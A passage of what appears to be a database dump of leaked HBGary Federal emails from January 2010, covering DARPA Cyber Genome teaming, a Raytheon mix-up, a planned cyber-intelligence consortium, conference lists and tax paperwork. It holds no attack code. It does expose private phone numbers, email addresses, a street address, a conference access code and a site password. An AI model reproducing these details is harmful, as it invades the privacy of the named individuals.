Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3130,'aaron_hbgary_com/3130.html'),(1623,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000491.M802954P3547Q1623.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: Cyber Genome opportunity','Customer sent me a response.  The mistake was on their end.  They\r\ntransposed my name with the name of a Raytheon sub.\r\n\r\nGood competitive intelligence from Dan though, I bet he\'s wishing he\r\nhad checked into it before sending that email.\r\n\r\nTed\r\n\r\nOn Wed, Jan 27, 2010 at 10:42 AM, Penny Leavy-Hoglund  wrote:\r\n> Interesting.  I know Bob is having discussions with Raytheon, perhaps they\r\n> are getting ahead of themselves\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, January 27, 2010 9:00 AM\r\n> To: Penny Leavy; Greg Hoglund; Barr Aaron; Rich Cummings; Bob Slapnik\r\n> Subject: Fwd: Cyber Genome opportunity\r\n>\r\n> This is comical.  I\'ll literally still laughing out loud.\r\n>\r\n> Ted\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Wed, Jan 27, 2010 at 9:54 AM\r\n> Subject: Re: Cyber Genome opportunity\r\n> To: Dan McCarthy \r\n>\r\n>\r\n> Hi Dan,\r\n>\r\n> I\'m in Colorado Springs (Mountain Time) and my calendar is pretty open\r\n> this afternoon.  No, HBGary is not affiliated with Raytheon.  I look\r\n> forward to your call.  In the meantime, are you familiar with our\r\n> Digital DNA Malware Genome and Responder Products?  You can learn more\r\n> on our website here:\r\n> https://www.hbgary.com/products-services/digital-dna/\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n> On Wed, Jan 27, 2010 at 9:48 AM, Dan McCarthy  wrote:\r\n>> Hi Ted,\r\n>>\r\n>> I\'ll give you a call early this afternoon (what time is good).  Are you\r\n> part\r\n>> of Raytheon? The customer seems to think so.\r\n>>\r\n>> Dan\r\n>>\r\n>> On Jan 27, 2010, at 11:23 AM, Ted Vera wrote:\r\n>>\r\n>>> Hi Dan,\r\n>>>\r\n>>> Are you requesting to discuss possible teaming on this opportunity?\r\n>>> Feel free to call me if you would like to discuss.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>> On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n>>>>\r\n>>>> Ted and Anthony,\r\n>>>>\r\n>>>> I\'d like to setup a call with you to discuss attendance at this industry\r\n>>>> day. I understand from the customer that you have both registered to\r\n>>>> attend.\r\n>>>>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have\r\n> been\r\n>>>> closely following it.  Unfortunately, attendance is limited to three\r\n>>>> people\r\n>>>> per company (mothership Raytheon), but having the two industry days will\r\n>>>> help.\r\n>>>>\r\n>>>> When is a good time to talk? Can you send me your phone numbers?\r\n>>>>\r\n>>>> Dan\r\n>>>>\r\n>>>> _________________________________\r\n>>>> Dan McCarthy, PhD\r\n>>>> Deputy Manager\r\n>>>> Cyber Security\r\n>>>> Raytheon / BBN Technologies\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> _________________________________\r\n>> Dan McCarthy, PhD\r\n>> Deputy Manager\r\n>> Cyber Security\r\n>> Raytheon / BBN Technologies\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1015,'aaron_hbgary_com/1015.html'),(1624,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000491.M997257P3547Q1624.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Cyber Genome Proposers Day','Begin forwarded message:From: Anthony N Stoopin &lt;Anthony_N_Stoopin@raytheon.com&gt;Date: January 27, 2010 11:15:29 AM MSTTo: \"Blankenship, Larry (contr-sto)\" &lt;Larry.Blankenship.ctr@darpa.mil&gt;Cc: \"Moore, Renee (contr-sto)\" &lt;Renee.Moore.ctr@darpa.mil&gt;, Ted Vera &lt;ted@hbgary.com&gt;, Sushil R Bhatt &lt;Sushil.R.Bhatt@raytheon.com&gt;Subject: RE: Cyber Genome Proposers Day\r\nMr. Blankenship,\r\n\r\nRaytheon and HBGary are\r\ntwo separate companies. We (Raytheon) respectfully request that we retain\r\nthe 1400 time slot for the meeting with Dr. VanPutte.\r\n\r\nVery Respectfully, \r\n&nbsp;\r\nTony Stoopin \r\n\r\nAnthony N. Stoopin\r\nRaytheon Missile Systems\r\nAdvanced Missiles &amp; Unmanned Systems\r\n520.545.9972 office\r\nAnthony_N_Stoopin@raytheon.com&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',16746,'aaron_hbgary_com/16746.html'),(1625,'2010-01-27','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297000492.M194968P3547Q1625.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Interview with Paul 451 Group @ Wed Jan 27 2pm - 3pm 	(aaron@hbgary.com)',' more details &raquo;Interview with Paul 451 GroupWhenWed Jan 27 2pm – 3pm Eastern TimeWhereAccess code: 598522#; Conference line: 712-432-0850 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2209,'aaron_hbgary_com/2209.html'),(1626,'2010-01-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000492.M398983P3547Q1626.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','RE: Cyber Genome opportunity','It\'s probably Oakley, they bought them\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, January 27, 2010 10:01 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Greg Hoglund; Barr Aaron; Rich Cummings; Bob Slapnik\r\nSubject: Re: Cyber Genome opportunity\r\n\r\nCustomer sent me a response.  The mistake was on their end.  They\r\ntransposed my name with the name of a Raytheon sub.\r\n\r\nGood competitive intelligence from Dan though, I bet he\'s wishing he\r\nhad checked into it before sending that email.\r\n\r\nTed\r\n\r\nOn Wed, Jan 27, 2010 at 10:42 AM, Penny Leavy-Hoglund \r\nwrote:\r\n> Interesting.  I know Bob is having discussions with Raytheon, perhaps they\r\n> are getting ahead of themselves\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, January 27, 2010 9:00 AM\r\n> To: Penny Leavy; Greg Hoglund; Barr Aaron; Rich Cummings; Bob Slapnik\r\n> Subject: Fwd: Cyber Genome opportunity\r\n>\r\n> This is comical.  I\'ll literally still laughing out loud.\r\n>\r\n> Ted\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Wed, Jan 27, 2010 at 9:54 AM\r\n> Subject: Re: Cyber Genome opportunity\r\n> To: Dan McCarthy \r\n>\r\n>\r\n> Hi Dan,\r\n>\r\n> I\'m in Colorado Springs (Mountain Time) and my calendar is pretty open\r\n> this afternoon.  No, HBGary is not affiliated with Raytheon.  I look\r\n> forward to your call.  In the meantime, are you familiar with our\r\n> Digital DNA Malware Genome and Responder Products?  You can learn more\r\n> on our website here:\r\n> https://www.hbgary.com/products-services/digital-dna/\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n> On Wed, Jan 27, 2010 at 9:48 AM, Dan McCarthy  wrote:\r\n>> Hi Ted,\r\n>>\r\n>> I\'ll give you a call early this afternoon (what time is good).  Are you\r\n> part\r\n>> of Raytheon? The customer seems to think so.\r\n>>\r\n>> Dan\r\n>>\r\n>> On Jan 27, 2010, at 11:23 AM, Ted Vera wrote:\r\n>>\r\n>>> Hi Dan,\r\n>>>\r\n>>> Are you requesting to discuss possible teaming on this opportunity?\r\n>>> Feel free to call me if you would like to discuss.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>> On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n>>>>\r\n>>>> Ted and Anthony,\r\n>>>>\r\n>>>> I\'d like to setup a call with you to discuss attendance at this\r\nindustry\r\n>>>> day. I understand from the customer that you have both registered to\r\n>>>> attend.\r\n>>>>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have\r\n> been\r\n>>>> closely following it.  Unfortunately, attendance is limited to three\r\n>>>> people\r\n>>>> per company (mothership Raytheon), but having the two industry days\r\nwill\r\n>>>> help.\r\n>>>>\r\n>>>> When is a good time to talk? Can you send me your phone numbers?\r\n>>>>\r\n>>>> Dan\r\n>>>>\r\n>>>> _________________________________\r\n>>>> Dan McCarthy, PhD\r\n>>>> Deputy Manager\r\n>>>> Cyber Security\r\n>>>> Raytheon / BBN Technologies\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> _________________________________\r\n>> Dan McCarthy, PhD\r\n>> Deputy Manager\r\n>> Cyber Security\r\n>> Raytheon / BBN Technologies\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',2211,'aaron_hbgary_com/2211.html'),(1627,'2010-01-27','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000492.M612584P3547Q1627.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: More Conferences','\r\n\r\n\r\n  \r\n\r\n\r\nAaron,\r\n\r\n    Sorry for the delay in getting back to you, but was out in\r\nCalifornia in meetings with Vint Cerf and others at Google.  They are\r\nup to their necks with the Chinese -- looking at both internal and\r\nexternal security.  First time I\'ve seen security personnel at some\r\nbuilding entries, but the board meeting and other senior discussions\r\nwere going on when I was there.\r\n\r\n    Looks like you are moving forward nicely with the cyber consortium,\r\nwith a good choice of companies.  Do let me know if you need a hand in\r\npulling together any type of symposium or brainstorming session, as\r\nwell as writing.\r\n\r\n    I\'ll be getting busy at end of Feb and early March with imaging of\r\nanother manuscript up at the Walters.  Let me know if you are\r\ninterested in heading up there.  There or here, let\'s touch base in\r\nperson again before spring has sprung.\r\n\r\n    Thanks for keeping me posted,\r\n\r\n        Mike\r\n\r\nOn 1/21/2010 8:54 AM, Aaron Barr wrote:\r\nThanks Mike.\r\n  \r\n  \r\n  I am just getting caught up on some of this.  Our operating\r\nagreement should be signed today, our funds available.  Ted and I will\r\nbe working out our budget which includes some consulting hours for PR,\r\nAccounting, BD, etc, so Ted and I will be talking about what we can\r\nafford for your services in the short term.\r\n  \r\n  \r\n  I think I had mentioned the idea of a cyber consortium to you\r\nwhen we had lunch.  That idea is coming together.  We will start with\r\ncyber intelligence then when we have the capabilities fused build in\r\nthe hooks for cybersecurity.  Need the information before you can act.\r\n  \r\n  \r\n  here are the companies on board and their area of expertise.\r\n  Application - HBGary\r\n  Host - Splunk\r\n  Network - Netwitness\r\n  External - EndGame Systems\r\n  Social/Link - Palantir\r\n  \r\n  \r\n  HBGary Federal and Xetron will be the integrators and service\r\nproviders.\r\n  \r\n  \r\n  This is a full end to end cyber intelligence solution that can\r\neasily turn in to a end-to-end cybersecurity solutions, host to\r\ninternet, defense to offense.  Our goal, be the space-X for cyber\r\nintelligence.  We can do it better, cheaper, with more agility.  And to\r\nstart with all unclass.\r\n  \r\n  \r\n  We also will have some pursuits coming up with either Xetron or\r\nTASC that we will be pursing that we might need some writing help on.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  On Jan 6, 2010, at 11:25 AM, MB Toth wrote:\r\n  \r\n  \r\n    DoD Cyber Crime Conference 2010\r\nSt. Louis, Missouri\r\n22-29 January 2010\r\n \r\nAFCEA West 2010\r\nSan Diego, California\r\n2-4 February 2010\r\n \r\nUSEUCOM Intelligence Summit and Technology Exposition\r\nHeidelberg, Germany\r\n15-17 February 2010\r\n \r\nSatellite 2010 Conference\r\nGaylord National Convention Center\r\nNational Harbor, Maryland\r\n15-18 March 2010\r\n \r\nNGA Industry Day 2010 (Classified – Secret)\r\nHeritage Conference Center\r\nChantilly, Virginia\r\n1 April 2010\r\n \r\nAFCEA Spring Intelligence Symposium (Classified–TS SI/TK)\r\nDefense Intelligence Analysis Center (DIAC)\r\n21-22 April 2010\r\nBolling Air Force Base\r\nWashington, D.C.\r\n \r\n4th Annual Border Security Expo\r\nPhoenix Convention Center\r\n28-29 April 2010\r\nPhoenix, Arizona\r\n \r\nDoDIIS Worldwide\r\nPhoenix, Arizonia\r\n23-27 May 2010\r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n',13203,'aaron_hbgary_com/13203.html'),(1628,'2010-01-27','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000492.M868557P3547Q1628.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Mandiants M-trends release party for APT @6pm DC3','I spent a fair amount of time with these guys over the last few days.  Without currently having confirmed APT samples it&#39;s hard to say how we compare.  We&#39;ll remedy that shortly.  But on a side note, I currently run Volatility on every image that I investigate and will now run Memoryze/Audit Viewer as well.  \r\nOn Wed, Jan 27, 2010 at 11:02 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\nMatt and Phil are on it.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, January 27, 2010 10:54 AM\r\nTo: Matt O&#39;Flynn\r\nCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich Cummings\r\nSubject: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAnyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',8590,'aaron_hbgary_com/8590.html'),(1629,'2010-01-27','\"Balenson, David\" <David.Balenson@cobham.com>','/aaron@hbgary.com/new/1297000493.M297806P3547Q1630.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your inquiry. We&#8217;d be happy to exchange\r\ncapabilities and explore possible ways to work together. As I mentioned in my\r\nvoicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala,\r\nChief Scientist for SPARTA&#8217;s National Security Sector. Erik&#8217;s contact information\r\nis erik.mettala@cobham.com,\r\n443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson, Division Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic Solutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about our similar\r\ninterest in the NWOC BAA. As well I would be interested in getting an update on\r\nyour capabilities and likewise get you familiar with ours. I received a\r\nbriefing more than an year back when I was leading the technical strategy for\r\nNorthrop Grummans cyber campaign. I remember being impressed by your amount of\r\nIP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8665,'aaron_hbgary_com/8665.html'),(1630,'2010-01-27','\"Balenson, David\" <David.Balenson@cobham.com>','/aaron@hbgary.com/new/1297000493.M518750P3547Q1631.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: Other Opportunity','Aaron-\r\n\r\nThanks for your inquiry regarding the Cyber Genome BAA. We\'d be happy to\r\ndiscuss and explore possible ways to work together. As I mentioned in my\r\nvoicemail, tomorrow will be my last day at SPARTA. The folks who will be\r\nleading our efforts on the BAA are:\r\n\r\nRobert Lyda, robert.lyda@cobham.com, 443-430-8053\r\nStephen Schwab, stephen.schwab@cobham.com, 703-879-1645\r\nErik Mettala, erik.mettala@cobham.com, 443-430-8059\r\n\r\nThey will be attending the Industry Day on Friday, so if you or other\r\nmembers of your team are there, please look for them.\r\n\r\nThanks and regards,\r\n-DB\r\n\r\n------------------------------------------------------------------------\r\n------------------------\r\nDavid M. Balenson, Division Manager, Security Research\r\nSPARTA National Security Sector\r\nCobham Analytic Solutions\r\nTel: 443.430.8004\r\nFax: 443.430.8153\r\nEmail: David.Balenson@cobham.com\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:54 AM\r\nTo: Balenson, David\r\nCc: Aaron Barr\r\nSubject: Other Opportunity\r\n\r\nDave,\r\n\r\nJust noticed were are also both listed as interested parties for the\r\nCyber Genome Project for DARPA.  Not sure if you are aware of HBGary\'s\r\nDigital DNA technology and our own Global Malware Genome we already have\r\nbuilt.\r\n\r\nI would be interested to discuss opportunities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13434,'aaron_hbgary_com/13434.html'),(1631,'2010-01-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000493.M707159P3547Q1632.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: HBGary / Netwitness @ Wed Jan 20 3pm - 4:30pm 	(aaron@hbgary.com)','Rich Cummings has declined this invitation.HBGary / NetwitnessWhenWed Jan 20 3pm – 4:30pm Eastern TimeWhereNetwitness Offices 500 Grove Street, Suite 300 | Herndon, VA 20170 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;Rich CummingsInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3338,'aaron_hbgary_com/3338.html'),(1632,'2010-01-27','\"Rocky Mountain Chapter, AFCEA\" <annemarshall@afceacyberspace.com>','/aaron@hbgary.com/new/1297000493.M95480P3547Q1629.eml','aaron@hbgary.com','Defending America, CYBERSPACE 2010 Post Event Information - Date Corrrection','\r\n\r\n\r\nUntitled Document\r\n\r\n\r\n\r\nHaving trouble viewing this email?\r\nClick here\r\nYou\'re receiving this email because of your \r\nrelationship with Rocky Mountain Chapter, AFCEA. \r\nPlease confirm \r\nyour continued interest in receiving email from us. &nbsp;You may unsubscribe if you no longer wish to receive our emails.\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\nGreetings from the Rocky Mountains! \r\n\r\n         The Defending America, CYBERSPACE 2010 Symposium participant listing and releaseable speaker presentations have now been posted on the home page at www.afceacyberspace.com\r\n Click on the link \"Click Here to View\" and enter the password AFCEA2010 \r\n\r\nSAVE THE DATE for next year\'s symposium, CYBERSPACE 2011, Where Cyber and Space Come Together,  8 - 10 February 2011 at the Broadmoor Hotel, Colorado Springs, Colorado    \r\n        \r\n        \r\n             \r\n    \r\n  \r\n  \r\n    &nbsp;\r\n  \r\n\r\n	\r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by annemarshall@afceacyberspace.com.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nRocky Mountain Chapter, AFCEA | PO Box 76960 | Colorado Springs | CO | 80970\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3887,'aaron_hbgary_com/3887.html'),(1633,'2010-01-27','agrosvenor@sysplan.com','/aaron@hbgary.com/new/1297000493.M968048P3547Q1633.eml','aaron@hbgary.com','Confirmation for DARPA\'s Cyber Genome Proposers Day Conference','This is a confirmation notice for your registration to attend the \r\nDARPA\'s Cyber Genome Proposers Day Conference.  Details of your registration appear below.\r\n\r\nThank You,   for using the\r\n secure online registration form\r\n\r\n***************************************************************************\r\n*                              DARPA\'s Cyber Genome Proposers Day Conference \r\n*                              Registration Form\r\n*                              SN# 1272010164058\r\n***************************************************************************\r\n___________________________________________________________________________\r\nPersonal Information\r\n	 Mr. Aaron Barr\r\n	 HBGary Federal\r\n	 3604 Fair Oaks Blvd\r\n	 Building B, Suite 250\r\n	 Sacramento, CA 95864\r\nPhone:	 916-459-4727 Ext 117\r\nFax:	 916-481-1460\r\nEmail:	 aaron@hbgary.com\r\n\r\n\r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nA T T E N D A N C E \r\n___________________________________________________________________________\r\n\r\n___________________________________________________________________________\r\nE L E C T I O N S \r\n___________________________________________________________________________\r\n\r\n		    \r\n		    Special Diet: Vegetarian \r\n		    \r\n		    Attendees: 1 \r\n		    \r\n\r\n___________________________________________________________________________\r\n\r\nThank you for using our online service:\r\n\r\nAnne Grosvenor at 703-351-8794\r\n\r\nagrosvenor@sysplan.com\r\n',12352,'aaron_hbgary_com/12352.html'),(1634,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000494.M235963P3547Q1634.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','DARPA BAA','All,\r\n\r\nI would like to schedule a brief telecon tomorrow to discuss strategy\r\nfor the upcomg BAA and for those of us going to the industry days\r\ndiscuss what information we are conveying and interested in getting\r\nfrom potential partners.  I will look for a good time on the calendar.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8422,'aaron_hbgary_com/8422.html'),(1635,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000494.M428584P3547Q1635.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','Re: HBGary Inc. Taxes','Is it safe to assume you have access to our payroll info?\r\n\r\nAaron and I both have receipts for travel expenses an office / Conf\r\nroom rentals.\r\n\r\nI will ask Dee Ann for the hardware purchases.\r\n\r\nWhat else will we need?\r\n\r\nYour hours/costs, as well as Karen Burke\r\n\r\nTed\r\n\r\nOn Jan 27, 2010, at 3:18 PM, \"John L. Cox, CPA\"\r\n wrote:\r\n\r\n> Yes, that is correct.\r\n>\r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice\r\n> (866) 750-1973 Fax\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged.\r\n> Unless you are the addressee (or authorized to receive for the\r\n> addressee),\r\n> you may not use, copy, print or disclose to anyone the message or any\r\n> information contained in the message. If you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply and delete the message.\r\n> Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, January 27, 2010 4:39 PM\r\n> To: John L. Cox, CPA\r\n> Subject: Fwd: FW: HBGary Inc. Taxes\r\n>\r\n> Do you mean HBGary Federal LLC John?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Penny Leavy-Hoglund \r\n> Date: Wed, Jan 27, 2010 at 1:51 PM\r\n> Subject: FW: HBGary Inc. Taxes\r\n> To: Ted Vera \r\n> Cc: johncoxcpa@verizon.net\r\n>\r\n>\r\n> John needs info that you have for 2009 expenses etc\r\n>\r\n>\r\n>\r\n> From: John L. Cox, CPA [mailto:johncoxcpa@verizon.net]\r\n> Sent: Wednesday, January 27, 2010 10:50 AM\r\n> To: \'Penny Leavy-Hoglund\'\r\n> Subject: HBGary Inc. Taxes\r\n> Importance: High\r\n>\r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> In order to complete HBGary, Inc. 2009 tax returns I will need to have\r\n> completed the HBGary LLC tax returns because HBGary Inc. is a member.\r\n> When will that data be available?  Thanks.\r\n>\r\n>\r\n>\r\n> John L. Cox, CPA\r\n>\r\n> 12107 Faith Lane\r\n>\r\n> Bowie, Maryland 20715\r\n>\r\n> (240) 949-6022 Voice\r\n>\r\n> (866) 750-1973 Fax\r\n>\r\n>\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged. Unless you are the addressee (or authorized to receive for\r\n> the addressee), you may not use, copy, print or disclose to anyone the\r\n> message or any information contained in the message. If you have\r\n> received this e-mail in error, please advise the sender by reply and\r\n> delete the message. Thank you.\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n',15353,'aaron_hbgary_com/15353.html'),(1636,'2010-01-27','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000494.M609076P3547Q1636.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary Inc. Taxes','1  I have payroll info\r\n2  I need info (not receipts) for travel expenses etc.\r\n3  Were hardware purchases made from HBGary, Inc.?\r\n4  I have Karen Burke costs\r\n5  My costs for last year will be billed soon\r\n\r\nFor now I think that will do.  So I need #2 and #3 as soon as you can get\r\nthem to me.  Thanks.\r\n\r\n\r\nJohn L. Cox, CPA\r\n12107 Faith Lane\r\nBowie, Maryland 20715\r\n(240) 949-6022 Voice \r\n(866) 750-1973 Fax\r\n \r\nThis message contains information that may be confidential and privileged.\r\nUnless you are the addressee (or authorized to receive for the addressee),\r\nyou may not use, copy, print or disclose to anyone the message or any\r\ninformation contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, January 27, 2010 5:31 PM\r\nTo: John L. Cox, CPA\r\nCc: Barr Aaron\r\nSubject: Re: HBGary Inc. Taxes\r\n\r\nIs it safe to assume you have access to our payroll info?\r\n\r\nAaron and I both have receipts for travel expenses an office / Conf\r\nroom rentals.\r\n\r\nI will ask Dee Ann for the hardware purchases.\r\n\r\nWhat else will we need?\r\n\r\nYour hours/costs, as well as Karen Burke\r\n\r\nTed\r\n\r\nOn Jan 27, 2010, at 3:18 PM, \"John L. Cox, CPA\"\r\n wrote:\r\n\r\n> Yes, that is correct.\r\n>\r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice\r\n> (866) 750-1973 Fax\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged.\r\n> Unless you are the addressee (or authorized to receive for the\r\n> addressee),\r\n> you may not use, copy, print or disclose to anyone the message or any\r\n> information contained in the message. If you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply and delete the message.\r\n> Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, January 27, 2010 4:39 PM\r\n> To: John L. Cox, 